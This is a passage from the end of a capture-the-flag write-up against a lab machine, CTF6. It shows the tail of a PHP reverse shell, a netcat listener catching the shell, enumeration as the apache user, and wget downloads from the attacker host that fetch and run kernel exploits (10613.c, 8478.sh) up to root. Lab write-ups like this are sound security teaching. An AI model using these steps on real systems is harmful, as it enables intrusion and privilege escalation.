		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Utilizing netcat to handle the incoming conntection, we now have reverse shell access into the target CTF6 machine.

calvinbebop@Dolos:~# nc -nvlp 5454
listening on [any] 5454 ...
connect to [10.0.88.5] from (UNKNOWN) [10.0.88.8] 53965
Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux
 13:45:31 up  1:19,  0 users,  load average: 0.01, 0.01, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-3.2$ 


Local Enumeration/Exploit Attempt #1

Getting our bearings, it appears we’ve assumed control of the apache user.

sh-3.2$ whoami
apache
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)

As is expected, our user doesn’t seem to have access to any other users’ home folders. BOO.

sh-3.2$ cd /home
sh-3.2$ ls -lsa
total 36
8 drwxr-xr-x  7 root  root  4096 Jun 24  2009 .
8 drwxr-xr-x 23 root  root  4096 Dec  9 12:26 ..
4 drwx------  2 fred  fred  4096 Jun 24  2009 fred
4 drwx------  3 john  john  4096 Jun 28  2009 john
4 drwx------  2 linda linda 4096 Jun 24  2009 linda
4 drwx------  2 molly molly 4096 Jun 24  2009 molly
4 drwx------  2 toby  toby  4096 Jun 24  2009 toby
sh-3.2$ 
sh-3.2$ cd fred
sh: cd: fred: Permission denied
sh-3.2$ cd john
sh: cd: john: Permission denied
sh-3.2$ cd linda
sh: cd: linda: Permission denied
sh-3.2$ cd molly
sh: cd: molly: Permission denied
sh-3.2$ cd toby
sh: cd: toby: Permission denied

Lucky for us, this specific kernel release looks to be vulnerable to a local privilege escalation exploit. The full exploit source can be found here.

sh-3.2$ uname -r
2.6.18-92.el5

Unfortunately, the local root exploit failed.

sh-3.2$ wget http://10.0.88.5/10613
--14:24:28--  http://10.0.88.5/10613
Connecting to 10.0.88.5:80... connected.
HTTP request sent, awaiting response... 404 Not Found
14:24:28 ERROR 404: Not Found.

sh-3.2$ wget http://10.0.88.5/10613.c
--14:24:42--  http://10.0.88.5/10613.c
Connecting to 10.0.88.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6663 (6.5K) [text/x-csrc]
Saving to: `10613.c'

     0K ......                                                100% 1.10G=0s

14:24:42 (1.10 GB/s) - `10613.c' saved [6663/6663]

sh-3.2$ gcc 10613.c -o 10613
sh-3.2$ chmod +x 10613
sh-3.2$ ./10613
-----------------------------------
 Linux 2.6.18-20 2009 Local Root Exploit
 By DigitALL
-----------------------------------
[-] mmap: Permission denied

Rooted - Exploit Attempt #2

Circling back, let’s try another exploit that this machine may be vulnerable to. More specifically, another local privilege escalation exploit affecting Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1.

sh-3.2$ wget http://10.0.88.5/8478.sh
--15:13:27--  http://10.0.88.5/8478.sh
Connecting to 10.0.88.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 223595 (218K)
Saving to: `8478.sh'

     0K .......... .......... .......... .......... .......... 22% 71.6M 0s
    50K .......... .......... .......... .......... .......... 45%  336M 0s
   100K .......... .......... .......... .......... .......... 68%  146M 0s
   150K .......... .......... .......... .......... .......... 91%  174M 0s
   200K .......... ........                                   100%  434M=0.001s

15:13:27 (144 MB/s) - `8478.sh' saved [223595/223595]
sh-3.2$ chmod +x 8478.sh
sh-3.2$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f7fdce00 0   0      00000000 0        0        00000000 2
f6da2400 0   2444   00000111 0        0        00000000 2
f7dee000 6   0      00000000 0        0        00000000 2
f7d43800 7   0      00000000 0        0        00000000 2
f7f65000 9   0      00000000 0        0        00000000 2
f6e6da00 9   1765   00000000 0        0        00000000 2
f7f6de00 10  0      00000000 0        0        00000000 2
f7fa6e00 11  0      00000000 0        0        00000000 2
f7fdcc00 15  0      00000000 0        0        00000000 2
f7dfea00 15  380    ffffffff 0        0        00000000 2
f7fa6c00 16  0      00000000 0        0        00000000 2
c21b7a00 18  0      00000000 0        0        00000000 2

For some reason, this exploit required multiple passes to work.

sh-3.2$ ./8478.sh 380
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ ./8478.sh 380
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ ./8478.sh 380
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ ./8478.sh 379
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ ./8478.sh 379
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ ./8478.sh 379
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2$ ./8478.sh 379
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2# id
uid=0(root) gid=0(root) groups=48(apache)


EOL

Thank you for hanging around for this boot2root! I learned quite a bit working through this machine and I hope you did as well in your attempt.
As always, if you have any questions, corrections, or comments, please feel free to reach out to me on Twitter and have yourself an excellent day!